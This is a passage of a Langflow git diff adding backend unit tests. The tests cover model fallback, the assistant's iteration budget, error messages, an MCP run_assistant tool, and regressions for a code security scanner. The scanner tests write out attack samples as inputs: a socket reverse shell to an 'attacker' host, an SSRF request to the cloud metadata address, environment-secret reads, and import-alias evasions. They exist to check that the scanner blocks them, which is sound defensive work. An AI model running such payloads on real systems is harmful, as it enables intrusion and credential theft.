User(id=uuid4(), username="tester") + with ( + patch( + f"{ROUTER_MODULE}.get_enabled_providers_for_user", + new_callable=AsyncMock, + return_value=(["Ollama"], {"Ollama": True}), + ), + patch( + f"{PROVIDER_MODULE}.get_live_models_for_provider", + return_value=[], + ), + ): + config = await check_assistant_config(current_user=user, session=AsyncMock()) + + ollama = next(p for p in config["providers"] if p["name"] == "Ollama") + assert ollama["models"], "Static catalog must remain as fallback when live fetch fails" + assert config["default_model"] == "llama3.3" diff --git a/src/backend/tests/unit/agentic/flows/test_agentic_model_config.py b/src/backend/tests/unit/agentic/flows/test_agentic_model_config.py index 628cabc92e..30d64f7f4c 100644 --- a/src/backend/tests/unit/agentic/flows/test_agentic_model_config.py +++ b/src/backend/tests/unit/agentic/flows/test_agentic_model_config.py @@ -54,6 +54,27 @@ class TestBuildModelConfigUsesRegisteredClassNames: assert build_model_config(provider, "m")[0]["metadata"]["model_class"] == expected +class TestBuildModelConfigUsesCorrectModelParamName: + """WatsonX died with 400 "model not found" (GitHub #13735 follow-up). + + ``build_model_config`` read the non-existent key ``model_name_param`` from + ``get_provider_param_mapping`` (which only emits ``model_param``), so it fell + back to "model" for every provider and explicitly set metadata["model_name_param"]="model". + That truthy value defeats the #13684 fallback in get_llm, so for WatsonX it passes + ``model=`` instead of ``model_id=`` — routing ChatWatsonx through the OpenAI-compatible + AI Gateway (400 "model not found") instead of native ModelInference. OpenAI/Anthropic + were unaffected because their ``model_param`` is already "model". + """ + + def test_should_use_model_id_param_when_provider_is_watsonx(self): + config = build_model_config("IBM WatsonX", "mistral-large-2512") + assert config[0]["metadata"]["model_name_param"] == "model_id" + + @pytest.mark.parametrize("provider", ["OpenAI", "Anthropic"]) + def test_should_keep_model_param_for_openai_and_anthropic(self, provider): + assert build_model_config(provider, "m")[0]["metadata"]["model_name_param"] == "model" + + class TestRegistryKnowsGroqAndAzure: """Latent variant of Bug #1 — Groq / Azure class names must be registered. diff --git a/src/backend/tests/unit/agentic/flows/test_assistant_agent_iteration_budget.py b/src/backend/tests/unit/agentic/flows/test_assistant_agent_iteration_budget.py new file mode 100644 index 0000000000..dca0db5307 --- /dev/null +++ b/src/backend/tests/unit/agentic/flows/test_assistant_agent_iteration_budget.py @@ -0,0 +1,38 @@ +"""Pin the assistant agent iteration budget — a COST decision, not a tuning knob. + +Decision (2026-06-12, user): the LangGraph budget stays at the component +default (max_iterations=15 -> recursion limit 35). Raising it doubles the +worst-case token spend per attempt on hosted models when the agent churns. +The trade-off: open-ended multi-component builds (e.g. "5 random +components", ~16+ legitimate iterations) hit the limit by design; the +recursion-limit error tells the user to break the request into parts. +""" + +import json +from pathlib import Path + +FLOW_PATH = Path(__file__).parents[4] / "base" / "langflow" / "agentic" / "flows" / "LangflowAssistant.json" +PY_FLOW_PATH = Path(__file__).parents[4] / "base" / "langflow" / "agentic" / "flows" / "flow_builder_assistant.py" + +COMPONENT_DEFAULT_ITERATIONS = 15 + + +def test_should_keep_json_agents_at_the_component_default_budget(): + data = json.loads(FLOW_PATH.read_text(encoding="utf-8")) + agents = [n["data"] for n in data["data"]["nodes"] if n.get("data", {}).get("type") == "Agent"] + + assert agents, "LangflowAssistant.json must contain Agent nodes" + for agent in agents: + configured = agent["node"]["template"]["max_iterations"]["value"] + assert configured == COMPONENT_DEFAULT_ITERATIONS, ( + f"Agent {agent.get('id')} has max_iterations={configured}; raising it doubles " + "the worst-case hosted-model cost per attempt — deliberate decision, see docstring" + ) + + +def test_should_not_override_iterations_in_the_flow_builder_agent(): + source = PY_FLOW_PATH.read_text(encoding="utf-8") + + assert "max_iterations" not in source, ( + "flow_builder_assistant.py must not override max_iterations — cost ceiling decision 2026-06-12" + ) diff --git a/src/backend/tests/unit/agentic/flows/test_component_code_search_tool.py b/src/backend/tests/unit/agentic/flows/test_component_code_search_tool.py new file mode 100644 index 0000000000..fdb14651e0 --- /dev/null +++ b/src/backend/tests/unit/agentic/flows/test_component_code_search_tool.py @@ -0,0 +1,97 @@ +"""GH #13618 — component_code_search tool silently reports an empty library. + +The inline ``DataFrameKeywordSearch`` component in ``LangflowAssistant.json`` +combines three defects into a confidently wrong "the component library is +empty" answer: + +1. An unknown ``column`` returns an empty DataFrame instead of raising, so + the agent cannot self-correct (the DataFrame has only ``file_path`` and + ``text`` columns, but the model guesses ``name``/``code``). +2. The ``column`` tool arg never documents the valid column names. +3. ``number_candidates`` ships as 2, making enumeration questions + unanswerable over a ~500-file index with no truncation signal. + +These tests load the REAL inline code from the flow JSON (the same loader +path production uses) and pin the corrected behavior. +""" + +import json +from pathlib import Path + +import pandas as pd +import pytest +from langflow.schema import DataFrame +from lfx.custom.eval import eval_custom_component_code + +FLOW_PATH = Path(__file__).parents[4] / "base" / "langflow" / "agentic" / "flows" / "LangflowAssistant.json" + +MIN_ENUMERATION_CANDIDATES = 10 + + +def _keyword_search_template() -> dict: + data = json.loads(FLOW_PATH.read_text(encoding="utf-8")) + for node in data["data"]["nodes"]: + node_data = node.get("data", {}) + if node_data.get("type") == "DataFrameKeywordSearch": + return node_data["node"]["template"] + msg = "DataFrameKeywordSearch node not found in LangflowAssistant.json" + raise AssertionError(msg) + + +def _component_instance(): + component_class = eval_custom_component_code(_keyword_search_template()["code"]["value"]) + instance = component_class() + instance.dataframe = DataFrame( + pd.DataFrame( + [ + {"file_path": "openai.py", "text": "class OpenAIModel(Component): build()..."}, + {"file_path": "chat_input.py", "text": "class ChatInput(Component): build()..."}, + {"file_path": "agent.py", "text": "class Agent(Component): tools..."}, + ] + ) + ) + instance.match_type = "any" + instance.case_sensitive = False + instance.number_candidates = 10 + return instance + + +class TestInvalidColumnHandling: + @pytest.mark.parametrize("invalid_column", ["name", "code"]) + def test_should_raise_value_error_when_column_does_not_exist(self, invalid_column): + instance = _component_instance() + instance.column = invalid_column + instance.keywords = ["component"] + + with pytest.raises(ValueError, match="file_path") as exc_info: + instance.search() + + assert invalid_column in str(exc_info.value) + + def test_should_return_matches_when_searching_valid_text_column(self): + instance = _component_instance() + instance.column = "text" + instance.keywords = ["class", "Component"] + + result = instance.search() + + assert len(result) > 0 + + +class TestToolArgDocumentation: + def test_should_document_valid_columns_in_column_tool_arg_info(self): + template = _keyword_search_template() + info = template["column"]["info"] + + assert "file_path" in info, f"Tool arg info must name the valid columns, got: {info!r}" + assert "text" in info, f"Tool arg info must name the valid columns, got: {info!r}" + + +class TestEnumerationCandidateCap: + def test_should_ship_an_enumeration_friendly_candidate_cap(self): + template = _keyword_search_template() + configured = template["number_candidates"]["value"] + + assert configured >= MIN_ENUMERATION_CANDIDATES, ( + f"number_candidates={configured} cannot answer enumeration questions over ~500 indexed files" + ) diff --git a/src/backend/tests/unit/agentic/helpers/test_code_security.py b/src/backend/tests/unit/agentic/helpers/test_code_security.py index ffa9245486..c2a06707f7 100644 --- a/src/backend/tests/unit/agentic/helpers/test_code_security.py +++ b/src/backend/tests/unit/agentic/helpers/test_code_security.py @@ -305,3 +305,259 @@ class TestScanCodeSecurityExfiltrationAndEscapes: # getattr is common/legit — banning it would regress real components. result = scan_code_security('v = getattr(self, "field", None)') assert result.is_safe is True + + +class TestScanCodeSecurityNetworkImports: + """Regression for CVE-2026-33873 incomplete fix (H1-3773010). + + Raw-socket / non-HTTP-protocol / shell-spawning stdlib modules enable the + same attack class as ``subprocess`` (reverse shells, SSRF, raw exfil) and + must be blocked. High-level HTTP via ``requests`` stays allowed by design + (legit API components need it), as do the safe ``urllib.parse`` / + ``http.HTTPStatus`` siblings. + """ + + def test_should_detect_socket_import(self): + """Import socket — raw-socket reverse shell / exfil primitive.""" + result = scan_code_security("import socket") + assert result.is_safe is False + assert any("socket" in v for v in result.violations) + + def test_should_detect_from_socket_import(self): + result = scan_code_security("from socket import socket") + assert result.is_safe is False + + def test_should_detect_socketserver_import(self): + result = scan_code_security("import socketserver") + assert result.is_safe is False + + def test_should_detect_urllib_request_import(self): + """Import urllib.request — SSRF + file:// local read bypass.""" + result = scan_code_security("import urllib.request") + assert result.is_safe is False + assert any("urllib.request" in v for v in result.violations) + + def test_should_detect_from_urllib_request_import(self): + result = scan_code_security("from urllib.request import urlopen") + assert result.is_safe is False + + def test_should_detect_from_urllib_import_request_submodule(self): + """`from urllib import request` must also be caught.""" + result = scan_code_security("from urllib import request") + assert result.is_safe is False + + def test_should_detect_urllib_error_import(self): + result = scan_code_security("import urllib.error") + assert result.is_safe is False + + def test_should_detect_http_client_import(self): + result = scan_code_security("import http.client") + assert result.is_safe is False + + def test_should_detect_from_http_client_import(self): + result = scan_code_security("from http.client import HTTPConnection") + assert result.is_safe is False + + def test_should_detect_from_http_import_client_submodule(self): + result = scan_code_security("from http import client") + assert result.is_safe is False + + def test_should_detect_ftplib_import(self): + result = scan_code_security("import ftplib") + assert result.is_safe is False + + def test_should_detect_smtplib_import(self): + result = scan_code_security("import smtplib") + assert result.is_safe is False + + def test_should_detect_telnetlib_import(self): + result = scan_code_security("import telnetlib") + assert result.is_safe is False + + def test_should_detect_poplib_import(self): + result = scan_code_security("import poplib") + assert result.is_safe is False + + def test_should_detect_imaplib_import(self): + result = scan_code_security("import imaplib") + assert result.is_safe is False + + def test_should_detect_xmlrpc_import(self): + result = scan_code_security("from xmlrpc import client") + assert result.is_safe is False + + def test_should_detect_pty_import(self): + """Import pty — interactive reverse-shell spawning (Scenario D).""" + result = scan_code_security("import pty") + assert result.is_safe is False + + def test_should_detect_os_dup2_call(self): + """os.dup2() — fd redirection used to wire a socket to a shell.""" + result = scan_code_security("import os\nos.dup2(3, 0)") + assert result.is_safe is False + assert any("dup2" in v for v in result.violations) + + def test_should_detect_from_os_import_dup2(self): + result = scan_code_security("from os import dup2") + assert result.is_safe is False + + # --- reporter PoC payloads (H1-3773010) --- + + def test_should_block_reporter_socket_reverse_shell_poc(self): + code = "import socket\ns = socket.socket()\ns.connect(('attacker', 4444))" + result = scan_code_security(code) + assert result.is_safe is False + + def test_should_block_reporter_urllib_ssrf_poc(self): + code = "import urllib.request\nurllib.request.urlopen('http://169.254.169.254/latest/meta-data/')" + result = scan_code_security(code) + assert result.is_safe is False + + # --- no-regression: HTTP + safe siblings must still pass --- + + def test_should_still_allow_requests(self): + result = scan_code_security('import requests\nr = requests.get("https://api.example.com")') + assert result.is_safe is True + + def test_should_allow_urllib_parse(self): + """urllib.parse (urlencode/quote) is a common, safe API helper.""" + result = scan_code_security("from urllib.parse import urlencode\nq = urlencode({'a': 1})") + assert result.is_safe is True + + def test_should_allow_urllib_parse_module_import(self): + result = scan_code_security("import urllib.parse") + assert result.is_safe is True + + def test_should_allow_http_httpstatus(self): + """From http import HTTPStatus is legitimate and must not be flagged.""" + result = scan_code_security("from http import HTTPStatus\ns = HTTPStatus.OK") + assert result.is_safe is True + + def test_should_allow_bare_http_import(self): + result = scan_code_security("import http") + assert result.is_safe is True + + +class TestScanCodeSecurityAliasAndWildcardBypass: + """Evasion via import aliases / wildcard imports must not slip past. + + ``os``/``sys`` are importable as whole modules (only specific members are + restricted), so aliasing or wildcard-importing them used to bypass the + attribute-call / restricted-name checks. The scanner now resolves aliases + and treats wildcard-imported members as direct attribute access. + """ + + # --- import alias bypass: `import os as o; o.()` --- + + def test_should_detect_aliased_os_dup2(self): + result = scan_code_security("import os as o\no.dup2(3, 0)") + assert result.is_safe is False + assert any("dup2" in v for v in result.violations) + + def test_should_detect_aliased_os_system(self): + result = scan_code_security("import os as o\no.system('id')") + assert result.is_safe is False + + def test_should_detect_aliased_sys_exit(self): + result = scan_code_security("import sys as y\ny.exit(1)") + assert result.is_safe is False + + def test_should_detect_aliased_os_environ_read(self): + result = scan_code_security("import os as o\nk = o.environ['SECRET']") + assert result.is_safe is False + + def test_should_detect_aliased_os_getenv(self): + result = scan_code_security("import os as o\nk = o.getenv('SECRET')") + assert result.is_safe is False + + def test_should_detect_dotted_alias_os_path(self): + """`import os.path as p` still binds top-level `os`; p.system() is os.system().""" + result = scan_code_security("import os.path as p\np.system('id')") + assert result.is_safe is False + + # --- wildcard import bypass: `from os import *; ()` --- + + def test_should_detect_wildcard_os_dup2(self): + result = scan_code_security("from os import *\ndup2(3, 0)") + assert result.is_safe is False + assert any("dup2" in v for v in result.violations) + + def test_should_detect_wildcard_os_system(self): + result = scan_code_security("from os import *\nsystem('id')") + assert result.is_safe is False + + def test_should_detect_wildcard_os_environ_read(self): + result = scan_code_security("from os import *\nk = environ['SECRET']") + assert result.is_safe is False + + # --- no-regression: aliases/wildcards of safe members must still pass --- + + def test_should_allow_aliased_os_path(self): + result = scan_code_security("import os as o\np = o.path.join('a', 'b')") + assert result.is_safe is True + + def test_should_allow_aliased_requests(self): + result = scan_code_security("import requests as r\nr.get('https://api.example.com')") + assert result.is_safe is True + + def test_should_allow_wildcard_os_safe_member(self): + """`from os import *` then a non-restricted member (getcwd) is fine.""" + result = scan_code_security("from os import *\nd = getcwd()") + assert result.is_safe is True + + +class TestScanCodeSecurityDottedSubmoduleAccess: + """Bare-package imports must not reach a blocked submodule via dotted access. + + A bare ``import urllib`` / ``import http`` is allowed (the package root is + safe), but at runtime ``urllib.request`` / ``http.client`` are already + preloaded, so ``urllib.request.urlopen(...)`` works without an explicit + submodule import. The scanner flags the dotted access itself. Safe siblings + (``urllib.parse``, ``http.HTTPStatus``, ``os.path``) stay allowed. + """ + + def test_should_detect_bare_urllib_then_request_call(self): + code = "import urllib\nurllib.request.urlopen('http://169.254.169.254/latest/meta-data/')" + result = scan_code_security(code) + assert result.is_safe is False + assert any("urllib.request" in v for v in result.violations) + + def test_should_detect_bare_http_then_client(self): + code = "import http\nc = http.client.HTTPConnection('attacker', 80)" + result = scan_code_security(code) + assert result.is_safe is False + assert any("http.client" in v for v in result.violations) + + def test_should_detect_urllib_request_access_without_import(self): + """Relying on the runtime preload — no import statement at all.""" + result = scan_code_security("urllib.request.urlopen('http://x')") + assert result.is_safe is False + + def test_should_detect_aliased_bare_urllib_submodule(self): + result = scan_code_security("import urllib as u\nu.request.urlopen('http://x')") + assert result.is_safe is False + + def test_should_detect_submodule_assignment(self): + """Binding the submodule object is just as dangerous as calling through it.""" + result = scan_code_security("import urllib\nreq = urllib.request") + assert result.is_safe is False + + def test_should_report_single_violation_for_chain(self): + """One dotted chain → exactly one submodule violation (no double-flag).""" + result = scan_code_security("import urllib\nurllib.request.urlopen('http://x')") + submod_hits = [v for v in result.violations if "urllib.request" in v] + assert len(submod_hits) == 1 + + # --- no-regression: safe dotted access on mixed packages --- + + def test_should_allow_urllib_parse_dotted_access(self): + result = scan_code_security("import urllib.parse\nq = urllib.parse.urlencode({'a': 1})") + assert result.is_safe is True + + def test_should_allow_http_httpstatus_dotted_access(self): + result = scan_code_security("import http\nx = http.HTTPStatus.OK") + assert result.is_safe is True + + def test_should_allow_os_path_dotted_access(self): + result = scan_code_security("import os\np = os.path.join('a', 'b')") + assert result.is_safe is True diff --git a/src/backend/tests/unit/agentic/helpers/test_error_handling_ollama_model_unavailable.py b/src/backend/tests/unit/agentic/helpers/test_error_handling_ollama_model_unavailable.py new file mode 100644 index 0000000000..ca32f96873 --- /dev/null +++ b/src/backend/tests/unit/agentic/helpers/test_error_handling_ollama_model_unavailable.py @@ -0,0 +1,81 @@ +"""Ollama 404 ``model not found`` must trigger the assistant model fallback. + +Reproduced live (2026-06-12, release-1.11.0, Ollama-only setup): the +assistant default-resolves a catalog model that is not installed locally +(``llama3.3``) and Ollama raises ``model 'llama3.3' not found (status +code: 404)``. ``is_model_unavailable_error`` does not match that phrasing, +so the fallback chain never fires and the user gets a terminal +``Model not available`` error on the first attempt. +""" + +from langflow.agentic.helpers.error_handling import is_model_unavailable_error + +OLLAMA_MODEL_NOT_FOUND_ERROR = "Error building Component Language Model: model 'llama3.3' not found (status code: 404)." + + +class TestOllamaModelUnavailableDetection: + def test_should_flag_model_unavailable_when_ollama_returns_model_not_found_404(self): + assert is_model_unavailable_error(OLLAMA_MODEL_NOT_FOUND_ERROR) is True + + def test_should_flag_model_unavailable_for_any_model_name_in_ollama_404(self): + error = "model 'qwen2.5' not found (status code: 404)." + + assert is_model_unavailable_error(error) is True + + def test_should_flag_model_unavailable_when_ollama_cloud_model_requires_subscription(self): + error = ( + "this model requires a subscription, upgrade for access: https://ollama.com/upgrade " + "(ref: 0fce2689-75e7-45af-9636-ac7a1ff2dd38) (status code: 403)." + ) + + assert is_model_unavailable_error(error) is True + + def test_should_not_flag_wrong_base_url_404_as_model_unavailable(self): + error = "404 page not found" + + assert is_model_unavailable_error(error) is False + + def test_should_not_flag_auth_errors_as_model_unavailable(self): + error = "Error code: 401 - Incorrect API key provided" + + assert is_model_unavailable_error(error) is False + + +class TestRecursionLimitFriendlyError: + """The colon-split truncation surfaced the URL tail to the user (2026-06-12).""" + + RECURSION_ERROR = ( + "Error building Component Agent: \n\nRecursion limit of 35 reached without hitting a stop " + "condition. You can increase the limit by setting the `recursion_limit` config key.\n" + "For troubleshooting, visit: https://docs.langchain.com/oss/python/langgraph/errors/GRAPH_RECURSION_LIMIT." + ) + + def test_should_return_clear_message_when_agent_hits_recursion_limit(self): + from langflow.agentic.helpers.error_handling import extract_friendly_error + + message = extract_friendly_error(self.RECURSION_ERROR) + + assert "//docs.langchain" not in message, f"URL fragment leaked to the user: {message!r}" + assert "step" in message.lower() or "iteration" in message.lower(), ( + f"Message must explain the agent ran out of steps, got: {message!r}" + ) + + +class TestMalformedToolCallFriendlyError: + """gpt-oss leaks reasoning into the tool-call channel; a retry usually fixes it (2026-06-12).""" + + MALFORMED_TOOL_CALL_ERROR = ( + "Error building Component Agent: \n\nerror parsing tool call: " + 'raw=\'We need create flow with 5 random components...{"query":"Random"}\', ' + "err=invalid character 'W' looking for beginning of value (status code: 500)." + ) + + def test_should_explain_malformed_tool_call_instead_of_generic_server_error(self): + from langflow.agentic.helpers.error_handling import extract_friendly_error + + message = extract_friendly_error(self.MALFORMED_TOOL_CALL_ERROR) + + assert "server error" not in message.lower(), f"Too generic: {message!r}" + assert "tool call" in message.lower() or "again" in message.lower(), ( + f"Message must say a retry usually fixes a malformed tool call, got: {message!r}" + ) diff --git a/src/backend/tests/unit/agentic/mcp/test_run_assistant_tool.py b/src/backend/tests/unit/agentic/mcp/test_run_assistant_tool.py new file mode 100644 index 0000000000..b33a0b6a49 --- /dev/null +++ b/src/backend/tests/unit/agentic/mcp/test_run_assistant_tool.py @@ -0,0 +1,526 @@ +"""The Langflow Assistant must be callable from external MCP clients. + +User report (Discord, 2026-06-11): "i can't call the assistant by mcp." +Verified live (2026-06-12): the ``langflow-agentic`` MCP server exposes 18 +tools (templates, components, flow inspection) but none invokes the +assistant; the assistant is HTTP-only. + +These tests pin the new ``run_assistant`` MCP tool and its runner: +- the tool is registered on the FastMCP server; +- the runner creates a flow when none is given, persists canvas changes + the assistant produced (headless clients have no frontend to apply + ``flow_update`` events), and enforces flow ownership. + +The runner must consume the SAME streaming pipeline the UI uses +(``execute_flow_with_validation_streaming``) — the non-streaming path +skips intent classification and the agent just chats instead of building +(observed live, 2026-06-12, via a real MCP stdio call with gpt-oss:20b). + +Mock boundaries: the streaming generator (full LLM round-trip) and the +DB session, mirroring ``test_template_create.py``. +""" + +import json +from types import SimpleNamespace +from unittest.mock import AsyncMock, MagicMock, patch +from uuid import uuid4 + +import pytest + +RUNNER_MODULE = "langflow.agentic.utils.assistant_runner" + +NEW_FLOW_DATA = {"nodes": [{"id": "ChatInput-abc"}], "edges": []} + +EVENTS_WITH_FLOW = [ + {"event": "progress", "step": "generating_flow"}, + {"event": "flow_update", "action": "set_flow", "flow": {"name": "Simple Chat Flow", "data": NEW_FLOW_DATA}}, + {"event": "complete", "data": {"result": "Built a simple chat flow.", "success": True}}, +] + +EVENTS_TEXT_ONLY = [ + {"event": "progress", "step": "generating"}, + {"event": "complete", "data": {"result": "Langflow is a visual flow builder."}}, +] + +INCREMENTAL_NODE_A = {"id": "ChatInput-abc", "data": {"id": "ChatInput-abc", "type": "ChatInput"}} +INCREMENTAL_NODE_B = {"id": "ChatOutput-def", "data": {"id": "ChatOutput-def", "type": "ChatOutput"}} +INCREMENTAL_EDGE = {"id": "edge-1", "source": "ChatInput-abc", "target": "ChatOutput-def"} + +EVENTS_INCREMENTAL = [ + {"event": "flow_update", "action": "add_component", "node": INCREMENTAL_NODE_A}, + {"event": "flow_update", "action": "add_component", "node": INCREMENTAL_NODE_B}, + {"event": "flow_update", "action": "connect", "edge": INCREMENTAL_EDGE}, + {"event": "complete", "data": {"result": "Added two components and connected them."}}, +] + + +def _stream_of(events: list[dict]): + def factory(*_args, **_kwargs): + async def gen(): + for event in events: + yield f"data: {json.dumps(event)}\n\n" + + return gen() + + return factory + + +def _context_stub() -> SimpleNamespace: + return SimpleNamespace( + provider="Ollama", + model_name="gpt-oss:20b", + api_key_name="OLLAMA_BASE_URL", + session_id="mcp-session", + global_vars={"PROVIDER": "Ollama"}, + max_retries=2, + ) + + +class TestRunAssistantToolRegistration: + @pytest.mark.asyncio + async def test_should_expose_run_assistant_tool_on_the_agentic_mcp_server(self): + from langflow.agentic.mcp.server import mcp + + tools = await mcp.list_tools() + tool_names = [tool.name for tool in tools] + + assert "run_assistant" in tool_names, f"The assistant must be callable via MCP; available tools: {tool_names}" + + +class TestRunAssistantAndPersist: + @pytest.mark.asyncio + async def test_should_create_a_new_flow_when_no_flow_id_is_given(self): + from langflow.agentic.utils.assistant_runner import run_assistant_and_persist + + user_id = uuid4() + created_flow = SimpleNamespace(id=uuid4(), name="Assistant Flow", data=None, user_id=user_id) + session = AsyncMock() + session.get = AsyncMock(return_value=created_flow) + with ( + patch(f"{RUNNER_MODULE}._new_flow", new_callable=AsyncMock, return_value=created_flow) as new_flow, + patch(f"{RUNNER_MODULE}._save_flow_to_fs", new_callable=AsyncMock), + patch( + f"{RUNNER_MODULE}.get_or_create_default_folder", + new_callable=AsyncMock, + return_value=SimpleNamespace(id=uuid4()), + ), + patch(f"{RUNNER_MODULE}.get_storage_service", MagicMock()), + patch( + f"{RUNNER_MODULE}._resolve_assistant_context", + new_callable=AsyncMock, + return_value=_context_stub(), + ), + patch( + f"{RUNNER_MODULE}.execute_flow_with_validation_streaming", + side_effect=_stream_of(EVENTS_WITH_FLOW), + ), + ): + result = await run_assistant_and_persist( + session=session, + user_id=user_id, + instruction="Build a chat flow", + ) + + new_flow.assert_awaited_once() + assert result["flow_id"] == str(created_flow.id) + assert result["flow_changed"] is True + assert created_flow.data == NEW_FLOW_DATA + + @pytest.mark.asyncio + async def test_should_persist_canvas_changes_on_an_existing_flow(self): + from langflow.agentic.utils.assistant_runner import run_assistant_and_persist + + user_id = uuid4() + flow = SimpleNamespace(id=uuid4(), name="My Flow", data={"nodes": [], "edges": []}, user_id=user_id) + session = AsyncMock() + session.get = AsyncMock(return_value=flow) + with ( + patch( + f"{RUNNER_MODULE}._resolve_assistant_context", + new_callable=AsyncMock, + return_value=_context_stub(), + ), + patch( + f"{RUNNER_MODULE}.execute_flow_with_validation_streaming", + side_effect=_stream_of(EVENTS_WITH_FLOW), + ), + patch(f"{RUNNER_MODULE}._save_flow_to_fs", new_callable=AsyncMock), + patch(f"{RUNNER_MODULE}.get_storage_service", MagicMock()), + ): + result = await run_assistant_and_persist( + session=session, + user_id=user_id, + instruction="Add a chat output", + flow_id=str(flow.id), + ) + + assert flow.data == NEW_FLOW_DATA + session.commit.assert_awaited() + assert result["flow_changed"] is True + assert result["result"] == "Built a simple chat flow." + + @pytest.mark.asyncio + async def test_should_not_touch_the_flow_when_assistant_only_answers_text(self): + from langflow.agentic.utils.assistant_runner import run_assistant_and_persist + + user_id = uuid4() + original_data = {"nodes": [], "edges": []} + flow = SimpleNamespace(id=uuid4(), name="My Flow", data=original_data, user_id=user_id) + session = AsyncMock() + session.get = AsyncMock(return_value=flow) + with ( + patch( + f"{RUNNER_MODULE}._resolve_assistant_context", + new_callable=AsyncMock, + return_value=_context_stub(), + ), + patch( + f"{RUNNER_MODULE}.execute_flow_with_validation_streaming", + side_effect=_stream_of(EVENTS_TEXT_ONLY), + ), + ): + result = await run_assistant_and_persist( + session=session, + user_id=user_id, + instruction="What is Langflow?", + flow_id=str(flow.id), + ) + + assert flow.data is original_data + assert result["flow_changed"] is False + assert result["result"] == "Langflow is a visual flow builder." + + @pytest.mark.asyncio + async def test_should_persist_canvas_when_agent_emits_incremental_events(self): + """Observed live (2026-06-12, LM Studio): incremental-only build was discarded.""" + from langflow.agentic.utils.assistant_runner import run_assistant_and_persist + + user_id = uuid4() + flow = SimpleNamespace(id=uuid4(), name="My Flow", data={"nodes": [], "edges": []}, user_id=user_id) + session = AsyncMock() + session.get = AsyncMock(return_value=flow) + with ( + patch( + f"{RUNNER_MODULE}._resolve_assistant_context", + new_callable=AsyncMock, + return_value=_context_stub(), + ), + patch( + f"{RUNNER_MODULE}.execute_flow_with_validation_streaming", + side_effect=_stream_of(EVENTS_INCREMENTAL), + ), + patch(f"{RUNNER_MODULE}._save_flow_to_fs", new_callable=AsyncMock), + patch(f"{RUNNER_MODULE}.get_storage_service", MagicMock()), + ): + result = await run_assistant_and_persist( + session=session, + user_id=user_id, + instruction="Build a chat flow", + flow_id=str(flow.id), + ) + + assert result["flow_changed"] is True + assert [n["id"] for n in flow.data["nodes"]] == ["ChatInput-abc", "ChatOutput-def"] + assert [e["id"] for e in flow.data["edges"]] == ["edge-1"] + + @pytest.mark.asyncio + async def test_should_compose_incremental_events_on_top_of_existing_flow_data(self): + from langflow.agentic.utils.assistant_runner import run_assistant_and_persist + + user_id = uuid4() + existing_node = {"id": "Prompt-xyz", "data": {"id": "Prompt-xyz", "type": "Prompt Template"}} + flow = SimpleNamespace( + id=uuid4(), name="My Flow", data={"nodes": [existing_node], "edges": []}, user_id=user_id + ) + session = AsyncMock() + session.get = AsyncMock(return_value=flow) + with ( + patch( + f"{RUNNER_MODULE}._resolve_assistant_context", + new_callable=AsyncMock, + return_value=_context_stub(), + ), + patch( + f"{RUNNER_MODULE}.execute_flow_with_validation_streaming", + side_effect=_stream_of(EVENTS_INCREMENTAL[:1] + EVENTS_INCREMENTAL[-1:]), + ), + patch(f"{RUNNER_MODULE}._save_flow_to_fs", new_callable=AsyncMock), + patch(f"{RUNNER_MODULE}.get_storage_service", MagicMock()), + ): + result = await run_assistant_and_persist( + session=session, + user_id=user_id, + instruction="Add a chat input", + flow_id=str(flow.id), + ) + + assert result["flow_changed"] is True + assert [n["id"] for n in flow.data["nodes"]] == ["Prompt-xyz", "ChatInput-abc"] + + @pytest.mark.asyncio + async def test_should_reject_a_flow_owned_by_another_user(self): + from fastapi import HTTPException + from langflow.agentic.utils.assistant_runner import run_assistant_and_persist + + flow = SimpleNamespace(id=uuid4(), name="Not yours", data=None, user_id=uuid4()) + session = AsyncMock() + session.get = AsyncMock(return_value=flow) + + with pytest.raises(HTTPException) as exc_info: + await run_assistant_and_persist( + session=session, + user_id=uuid4(), + instruction="Edit this flow", + flow_id=str(flow.id), + ) + + assert exc_info.value.status_code == 404 + + @pytest.mark.asyncio + async def test_should_drive_the_stream_with_apply_edits_immediately(self): + # Wiring guard (Bug #13641): the runner must tell the streaming service it + # is headless so the propose tools apply edits live and narrate them as + # done instead of "(pending user approval)". + from langflow.agentic.utils.assistant_runner import run_assistant_and_persist + + user_id = uuid4() + flow = SimpleNamespace(id=uuid4(), name="My Flow", data={"nodes": [], "edges": []}, user_id=user_id) + session = AsyncMock() + session.get = AsyncMock(return_value=flow) + + captured_kwargs: dict = {} + + def _capturing_stream(*_args, **kwargs): + captured_kwargs.update(kwargs) + return _stream_of(EVENTS_TEXT_ONLY)() + + with ( + patch(f"{RUNNER_MODULE}._resolve_assistant_context", new_callable=AsyncMock, return_value=_context_stub()), + patch(f"{RUNNER_MODULE}.execute_flow_with_validation_streaming", side_effect=_capturing_stream), + patch(f"{RUNNER_MODULE}._save_flow_to_fs", new_callable=AsyncMock), + patch(f"{RUNNER_MODULE}.get_storage_service", MagicMock()), + ): + await run_assistant_and_persist( + session=session, user_id=user_id, instruction="Set the prompt to 'X'.", flow_id=str(flow.id) + ) + + assert captured_kwargs.get("apply_edits_immediately") is True, ( + f"headless runner must request immediate edit apply; got {captured_kwargs!r}" + ) + + +class TestRunAssistantAppliesProposedFieldEdits: + """Bug #13641: headless MCP must persist proposed text edits. + + A proposed text edit (configure_component in propose-mode OR a direct + ProposeFieldEdit call) emits an edit_field event but never writes the value + into the working flow. Headless MCP has no UI to apply the proposal, so the + runner must apply it before persisting or the change is silently dropped. + """ + + MARKER = "PIRATE-MARKER-9000" + + @staticmethod + def _agent_data(system_prompt_value: str) -> dict: + """Inner flow data (nodes/edges) — the shape stored in ``Flow.data``.""" + return { + "nodes": [ + { + "id": "Agent-1", + "data": { + "id": "Agent-1", + "type": "Agent", + "node": {"template": {"system_prompt": {"value": system_prompt_value}}}, + }, + } + ], + "edges": [], + } + + def _edit_field_events(self) -> list[dict]: + return [ + { + "event": "flow_update", + "action": "edit_field", + "component_id": "Agent-1", + "field": "system_prompt", + "old_value": "You are a Langflow Agent.", + "new_value": self.MARKER, + "patch": [ + { + "op": "replace", + "path": "/data/nodes/0/data/node/template/system_prompt/value", + "value": self.MARKER, + } + ], + }, + {"event": "complete", "data": {"result": "Proposed the system prompt change."}}, + ] + + @pytest.mark.asyncio + async def test_should_persist_proposed_edit_when_working_flow_omits_it(self): + from langflow.agentic.utils import assistant_runner + + user_id = uuid4() + flow = SimpleNamespace( + id=uuid4(), name="My Flow", data=self._agent_data("You are a Langflow Agent."), user_id=user_id + ) + session = AsyncMock() + session.get = AsyncMock(return_value=flow) + + # The working flow snapshot still holds the OLD prompt — the proposal was + # never applied to it (the bug). The runner must apply the edit_field. + working_without_edit = {"data": self._agent_data("You are a Langflow 